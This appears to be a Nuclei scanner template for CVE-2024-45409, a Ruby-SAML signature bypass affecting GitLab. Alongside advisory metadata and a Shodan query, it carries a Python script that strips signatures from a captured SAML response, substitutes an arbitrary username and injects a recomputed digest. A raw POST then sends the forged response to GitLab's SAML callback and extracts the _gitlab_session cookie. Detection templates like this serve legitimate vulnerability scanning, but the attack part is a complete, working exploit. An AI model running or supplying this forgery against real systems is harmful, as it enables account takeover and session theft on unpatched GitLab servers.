id: CVE-2024-45409

info:
  name: GitLab - SAML Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    The Ruby SAML library is for implementing the client side of a SAML authorization. Ruby-SAML in <= 12.2 and 1.13.0 <= 1.16.0 does not properly verify the signature of the SAML Response.
  impact: |
    An unauthenticated attacker with access to any signed saml document (by the IdP) can thus forge a SAML Response/Assertion with arbitrary contents. This would allow the attacker to log in as arbitrary user within the vulnerable system.
  remediation: |
    This vulnerability is fixed in 1.17.0 and 1.12.3.
  reference:
    - https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/
    - https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq
    - https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
    - https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-45409
    cwe-id: CWE-347
    epss-score: 0.10684
    epss-percentile: 0.95241
  metadata:
    verified: true
    shodan-query: http.title:"GitLab"
    product: gitlab
    vendor: gitlab
  tags: cve,cve2024,saml,auth-bypass,gitlab,code,vkev,vuln

code:
  - engine:
      - py
      - python3 # requires python to be pre-installed on system running nuclei
    source: |
      try:
        from lxml import etree
      except ImportError:
        raise ImportError("The 'lxml' library is not installed. Please install it using 'pip install lxml'.")
      import hashlib,os
      import base64
      from datetime import datetime, timedelta
      import urllib.parse
      import requests
      username = os.getenv('username')
      if not username:
          username='admin@example.com'
      saml_response = os.getenv('SAMLResponse')
      xml_content = base64.b64decode(urllib.parse.unquote(saml_response))
      parser = etree.XMLParser(remove_blank_text=True)
      root = etree.fromstring(xml_content, parser)

      namespaces = {
          'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
          'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
          'ds': 'http://www.w3.org/2000/09/xmldsig#'
      }

      response_signature = root.find('./ds:Signature', namespaces)
      if response_signature is not None:
          root.remove(response_signature)

      nameid = root.find(
          './/saml:NameID',
          namespaces
      )
      if nameid is not None:
          nameid.text = username

      attribute_values = root.findall('.//saml:AttributeValue', namespaces)
      for attr_value in attribute_values:
          attr_value.text = username

      assertion = root.find('.//saml:Assertion', namespaces)
      if assertion is not None:
          # Create a deep copy of the assertion for digest calculation
          assertion_copy = etree.fromstring(etree.tostring(assertion))
          signature_in_assertion = assertion_copy.find('.//ds:Signature', namespaces)
          if signature_in_assertion is not None:
              signature_in_assertion.getparent().remove(signature_in_assertion)
          canonicalized_assertion = etree.tostring(
              assertion_copy, method='c14n', exclusive=True, with_comments=False
          )
          digest = hashlib.sha256(canonicalized_assertion).digest()
          digest_value = base64.b64encode(digest).decode()
      else:
          digest_value = ''

      issuer = root.find('.//saml:Issuer', namespaces)
      if issuer is not None:
          parent = issuer.getparent()
          index = parent.index(issuer)
          extensions = etree.Element('{urn:oasis:names:tc:SAML:2.0:protocol}Extensions')
          digest_element = etree.SubElement(
              extensions, '{http://www.w3.org/2000/09/xmldsig#}DigestValue'
          )
          digest_element.text = digest_value
          parent.insert(index + 1, extensions)

      malformed_samlresponse = urllib.parse.quote(base64.b64encode((etree.tostring(
                  root, pretty_print=False, xml_declaration=True, encoding='UTF-8'
              ))))
      print(malformed_samlresponse)

http:
  - raw:
      - |
        POST /users/auth/saml/callback HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        RelayState=undefined&SAMLResponse={{code_response}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header,"known_sign_in")'
          - 'status_code == 302'
        condition: and

    extractors:
      - type: kval
        kval:
          - _gitlab_session
# digest: 4b0a004830460221009be38c23891d1d8181bd674ff8271ff94f32b6dd2f0f0b39ee59cfc7a26e120f022100d0163b44796a5f7bf52bf01764118d83e7fe719f89fe1f590e8614c626915e31:922c64590222798bb761d5b6d8e72950